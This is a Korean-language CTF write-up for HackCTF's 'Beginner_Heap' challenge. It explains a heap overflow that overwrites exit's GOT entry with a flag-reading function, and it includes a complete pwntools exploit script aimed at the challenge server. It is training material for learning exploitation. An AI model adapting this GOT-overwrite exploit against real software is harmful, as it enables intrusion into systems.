HACKCTF - Beginner_Heap
2020. 7. 28. 16:37ㆍCTF's Write-up
어제 st4nw에게 heap명강의를 듣고 힙에 대해 알게 되었다.
어제 알려준게 1% 라고 하던데 엄청난 공부량으로 노력해야겠다.
본론으로 들어가면 heap overflow 문제이다.
0x1309000이 첫번재
0x1309020이 두번재
0x1309030이 세번째
0x1309050이 네번째인데
세번째의 뒷부분을 0x0000000000601068 <-- exit.got으로 덮어주고
그 다음에 ida 에서
이 부분에서 입력받을때 exit.got 을 cat flag함수로 덮을 수 있어서 취약점이다.
익스 코드는 아래와 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3016)
#r = process("./beginner_heap")
e = ELF("./beginner_heap")
context.log_level = "debug"
readflag_add = 0x400826
exit_got = e.got['exit']
sleep(1)
pay = ""
pay += "A"*40
pay += p64(exit_got)
r.sendline(pay)
sleep(0.1)
pay2 = ""
pay2 += p64(readflag_add)
r.sendline(pay2)
r.interactive()
|
cs |
실행하면 아래와 같다.
'CTF's Write-up' 카테고리의 다른 글
HACKCTF - 나는 해귀다 (0) | 2020.07.29 |
---|---|
DreamHack - image-storage (0) | 2020.07.28 |
HACKCTF - 달라란 침공 (0) | 2020.07.28 |
DreamHack - rev-basic-1 (0) | 2020.07.27 |
DreamHack - xss-1 (0) | 2020.07.27 |